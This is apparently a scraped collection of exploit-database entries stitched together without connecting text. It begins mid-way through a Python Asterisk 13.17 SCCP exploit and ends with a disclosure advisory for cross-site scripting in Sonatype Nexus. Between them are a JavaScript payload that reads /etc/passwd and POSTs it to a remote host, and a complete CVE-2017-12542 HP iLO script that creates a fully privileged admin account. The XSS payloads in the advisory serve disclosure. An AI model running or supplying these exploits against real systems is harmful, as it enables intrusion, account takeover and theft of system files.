binascii.unhexlify(b'450002c50001000040067a307f0000017f000001001407d00000000000000000500220009a2b0000e4eea8a72a97467d3631824ac1c08c604e762eb80af46cc6d219a4cf65c13992b4a8af94cb5e87c14faf0254cba25af9fb33bd8d2a58e370e3a866639dfdec350875cfecfe068a16746963fffeee0fdcbac75eb4f09d625f3ae1b4a3eb2812e6f838e88b0d7d9881465a0faf45664df8008d4d6de1a5e20a9c97a71f57d3429e0b17db3aeb3bf516ca4e207a5c801d04132979508f267c7425a57fd0edd271b57ff9831b595b519e73404f170492ae3ad438d4aeca854e96c9dd56d2af3813b8de6b3d8d31d32c0e95be9cb3a5c6106f64c4f19cda2b55ad1471f3d63e1b1ca3c29f362def063ad9b29ea4d1c1fda5c2e4cf0ae75064c27411a2deb5fab11e6412cd5a4037f38779f0173fa1f2ca1740aa78fe37bc0a50f5619c7abba00f2957bf06770ff4d6c003d4533de19f51bcbbd9bbe0ceb3e17dd180e58ee2698998edca42e3d6a8079cc151b608e5bd5aff052e718e714b360f9b091894a5eeed34dafe41d27f19988b3e0ac5a6dd8947c3537ae31154e983cdbac0861afc500206e74030c9e452738ece13075df2dbebb8a1737ee3b4880bc6d428ee2d3d64f585e197dc63f30638a4c55cff0b8e6aa82dfdf199baabd92c10092414015fad5f08e9c816a4d028574ee5340c08b2fe65ca1e7ca907ea2ebd6661e01e9b9d39d5bdb3e3cebd58e96f97f487bb580bcf5447ac48a2ad5541ae0ddcc9ec1f9528f2c07316dbd760e91e3bddbd53fbf6987fdba0830bdb485524950b5611e18e5d517c0f3ae05aa2daec42a5c43eab07aa0018ab750dc6995adad6561cc8a0379f7a12d8e5e474df013459442801d6871c5820318d790833687619b70b0da74893ca441f177ab9e7d7a537c6ff4920c79631905c35167d8a6efc0c6bced9270691abc5b4de84f956f8c1d34f9ef3f0073dafce8c076c4d537e981a1e8ff6ed3e8c')

            # Log the packet in hexa and timestamp
            fileLog = target + ".log"
            logPacket = open(fileLog, "w+")
            logPacket.write("["+time.strftime('%a %H:%M:%S')+"]"+ " - Packet sent: " + binascii.hexlify(bytes(packet))+"\n")
            logPacket.close()

            # Write bytecodes to socket
            print("["+time.strftime('%a %H:%M:%S')+"]"+" - "+"Packet sent: ")
            s.send(bytes(packet))
            # Packet sent:
            print(bytes(packet))
            try:
                data = s.recv(4096)
                print("[" + time.strftime('%a %H:%M:%S') + "]" + " - "+ "Data received: '{msg}'".format(msg=data))
            except socket.error, e:
                print 'Sorry, No data available'
                continue
        s.close()
    except socket.error as error:
        print error
        print "Sorry, something went wrong!"

def howtouse():
    print "Usage: AsteriskSCCP.py Hostname Port"
    print "[*] Mandatory arguments:"
    print "[-] Specify a hostname / port"
    sys.exit(-1)

if __name__ == "__main__":
    try:
        # Set target
        target = sys.argv[1]
        port = int(sys.argv[2])

        print "[*] Asterisk 13.17 Exploit by Juan Sacco <jsacco@exploitpack.com "
        asteriskSCCP(target, port)
    except IndexError:
        howtouse()

<body>
<script>
var file = "file:///etc/passwd";
var extract = "http://dev.example.com:1337/";
function get(url) {
 var xmlHttp = new XMLHttpRequest();
 xmlHttp.open("GET", url, false);
 xmlHttp.send(null);
 return xmlHttp.responseText;
}
function steal(data) {
 var xhr = new XMLHttpRequest();
 xhr.open('POST', extract, true);
 xhr.onload = function() {};
 xhr.send(data);
}
var cdl = get(file);
steal(cdl);
</script>
</body>

#!/usr/bin/env python

"""
Exploit trigger was presented @reconbrx 2018

Vulnerability found and documented by synacktiv:
https://www.synacktiv.com/posts/exploit/rce-vulnerability-in-hp-ilo.html

Original advisory from HP:
https://support.hpe.com/hpsc/doc/public/display?docId=hpesbhf03769en_us

Other advisories for this CVE:
https://tools.cisco.com/security/center/viewAlert.x?alertId=54930
https://securitytracker.com/id/1039222

IMPORTANT: 
THIS EXPLOIT IS JUST FOR ONE OUT OF THE THREE VULNERABILITES COVERED BY CVE-2017-12542!!!
The two other vulns are critical as well, but only triggerable on the host itself.


"""

import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import json
import urllib3

#all of the HP iLO interfaces run on HTTPS, but most of them are using self-signed SSL cert 
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

exploit_trigger = {'Connection' : 'A'*29}
accounts_url = 'https://%s/rest/v1/AccountService/Accounts'



def test(ip):

    url = accounts_url % ip
    try:
        response = requests.get(url, headers = exploit_trigger, verify = False)
    except Exception as e:
        return False, 'Could not connect to target %s, Reason: %s' % (ip, str(e))

    try:
        data = json.loads(response.text)
    except Exception as e:
        return False, 'Target response not as exected!, Exception data: %s' % (str(e),)

    return True, data

def exploit(ip, username, password):
    Oem = {
'Hp' : {
'LoginName' : username,
'Privileges': {
'LoginPriv' : True,
'RemoteConsolePriv': True,
'UserConfigPriv' : True,
'VirtualMediaPriv': True,
'iLOConfigPriv':True,
'VirtualPowerAndResetPriv':True,
            }
        }
    }
    body = {
'UserName':username,
'Password':password,
'Oem':Oem
    }
    url = accounts_url % ip



    try:
        response = requests.post(url, json=body, headers = exploit_trigger, verify = False)
    except Exception as e:
        return False, 'Could not connect to target %s, Reason: %s' % (ip, str(e))

    if response.status_code in [requests.codes.ok, requests.codes.created]:
        return True, response.text
    else:
        return False, 'Server returned status code %d, data: %s' % (response.status_code, response.text)

if __name__ == '__main__':
    import argparse
    import sys
    parser = argparse.ArgumentParser(description='CVE-2017-12542 Tester and Exploiter script.')
    parser.add_argument('ip', help='target IP')
    parser.add_argument('-t', action='store_true', default=True, help='Test. Trigger the exploit and list all users')
    parser.add_argument('-e', action='store_true', default=False, help='Exploit. Create a new admin user with the credentials specified in -u and -p')
    parser.add_argument('-u', help='username of the new admin user')
    parser.add_argument('-p', help='password of the new admin user')

    args = parser.parse_args()

    if args.e:
        if args.u is None or args.p is None:
            print('Username and password must be set for exploiting!')
            sys.exit()
        res, data = exploit(args.ip, args.u, args.p)
        if res:
            print('[+] Sucsessfully added user!')
        else:
            print('[-] Error! %s' % data)

    elif args.t:
        res, data = test(args.ip)
        if res:
            print('[+] Target is VULNERABLE!')
            for i in data['Items']:
                print('[+] Account name: %s Username: %s' % (i['Name'], i['Oem']['Hp']['LoginName']))
        else:
            print('[-] Error! %s' % data)

SEC Consult Vulnerability Lab Security Advisory < 20180208-0 >
=======================================================================
              title: Multiple Cross-Site Scripting Vulnerabilities
            product: Sonatype Nexus Repository Manager OSS/Pro
 vulnerable version: <=2.14.5, <=3.7.1
      fixed version: 2.14.6, 3.8.0
         CVE number: CVE-2018-5306, CVE-2018-5307
             impact: Medium
           homepage: https://www.sonatype.com/
              found: 2017-12-12
                 by: Werner Schober, Daniel Ostovary (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
                     Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"At Sonatype we have a long history of partnership with the world of open
source software development. From our humble beginning as core contributors
to Apache Maven, to supporting the worldas largest repository of open source
components (Central), to distributing the world's most popular repository
manager (Nexus), we exist for one simple reason; to help accelerate software
innovation."

Source: https://www.sonatype.com/about-sonatype


Business recommendation:
------------------------
The Sonatype Nexus Repository Server is affected by multiple XSS vulnerabilities
which could be used by an attacker to execute JavaScript code in the user's
browser.

The vendor provides a patch for both version 2 and 3 of the product which should
be installed immediately.

It is recommended to conduct a thorough security review by IT security
professionals in order to identify potential other security issues.


Vulnerability overview/description:
-----------------------------------
1) Reflected XSS vulnerability
The parameters "repoId" and "format" of the "healthCheckFileDetail" function
are vulnerable to reflected XSS. If the attacker can lure a user into
clicking a crafted link he could execute arbitrary JavaScript code.
In case the user has sufficient permissions, an attacker can create arbitrary
(administrative) users or perform stored XSS attacks (see 2).


2) Stored XSS vulnerabilities
The application is vulnerable to multiple stored XSS vulnerabilities,
which are described in the following list.

2.1) The first one is located in the "File Upload" functionality of
the "Staging Upload". Uploading a file with JavaScript code
in its name allows to store JavaScript code, which gets
triggered every time the file name is shown (e.g. in "Repositories").

2.2) The second stored XSS vulnerability is more precisely
being considered as stored DOM injection. This vulnerability
affects the functionality of creating a new user. When doing
so it is possible to inject JavaScript/HTML code in the username,
which later gets rendered/executed every time the username is
displayed.

2.3) The third stored XSS vulnerability is also a stored DOM injection.
It affects the "IQ Server Connection"/"IQ Server Dashboard"
functionality. The "IQ Server URL" field in the "IQ Server
Connection" allows to inject JavaScript/HTML code into the
menu bulletpoint "IQ Server Dashboard".


The vendor provided the following CVE numbers:
* CVE-2018-5306 - covers the XSS vulnerabilities in Nexus 3
* CVE-2018-5307 - covers the XSS vulnerabilities in Nexus 2


Proof of concept:
-----------------
1) Reflected XSS vulnerability
By luring an attacker into clicking the following link, an arbitrary
JavaScript payload will be executed:

https://example.com/nexus/service/siesta/healthcheck/healthCheckFile
Detail/.../index.html?repoId=public&format=<a href=javascript:alert(1)>sectest</test>

Vulnerable parameters:
-) repoId
-) format

2) Stored XSS vulnerabilities
***Please note that only users with access to the respective functionalities
are susceptive to the following stored XSS vulnerabilities.***

2.1)
The staging upload allows an attacker to upload a file, which contains a
JavaScript payload in the filename. An example for a filename containing a
"malicious" payload is as follows: "<img src=x onerror=alert(1)>.jpg"

This file can be uploaded flawlessly and everytime the filename is displayed,
the JavaScript payload gets executed.

2.2)
An attacker is able to create a new user, which contains a malicious JavaScript
payload in the username. As an example the following username can be used:

"EvilAdmin<img/src='/nexus/static/icons/glyph_help.png'/onload='alert(1)'/width='0'"

The payload is executed everytime the username is displayed (e.g. Login as
EvilAdmin -> Create Repository -> Access repository via "Repositories" ->
JavaScript code is being executed)

2.3)
The nexus server allows to setup an IQ server connection. The server name is not
validated and therefore allows the permanent injection of JavaScript code. To
demonstrate the vulnerability the following IQ server URL can be set:

'https://example.com'</a><img onload=alert(1)
src="/nexus/static/icons/glyph_help.png" width="0"

The payload is executed everytime someone logs into the application.


Vulnerable / tested versions:
-----------------------------
These vulnerabilities have been found in the version 2.13.0-01. However none of
the patch notes following the version 2.13.0-01 indicate a fix of these
vulnerabilities.


Vendor contact timeline:
------------------------
2017-12-13: Contacting vendor through security@sonatype.com (PGP encrypted)
2017-12-13: Sonatype responded that they are investigating the reported issues.
2017-12-15: Sonatype informed us that they are prioritizing a fix for all
            three issues disclosed. The current estimate for an available
            release is in the middle of January
2018-01-04: Sonatype followed up with more details and offered to request
            CVEs for the vulnerabilities. SEC Consult accepted that offer
            and request the affected versions as well as a planned release
            date.
2018-01-17: Sonatype replied that they identified more issues in other products
            (Nexus Server 2 and Nexus Server 3) with the same root cause and
            therefore need more time to fix the issues. The assigned CVE
            is CVE-2018-5307.
2018-01-25: Vendor provides updated information for affected version 2
2018-02-06: Vendor sends further information on affected versions & CVE numbers
2018-02-08: Vendor makes public announcement of security issues
2018-02-08: Public release of SEC Consult security advisory


Solution:
---------
The identified vulnerabilities have been fixed in version 2.14.6 and 3.8.0.

The latest versions can be downloaded at the following URLs linked from the
vendor's security advisory.

Nexus Repository Manager version 3:
https://support.sonatype.com/hc/en-us/articles/360000134968 (CVE-2018-5306)

Nexus Repository Manager version 2:
https://support.sonatype.com/hc/en-us/articles/360000134928 (CVE-2018-5307)


Workaround:
-----------
No workaround available.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF W. Schober, D. Ostovary / @2018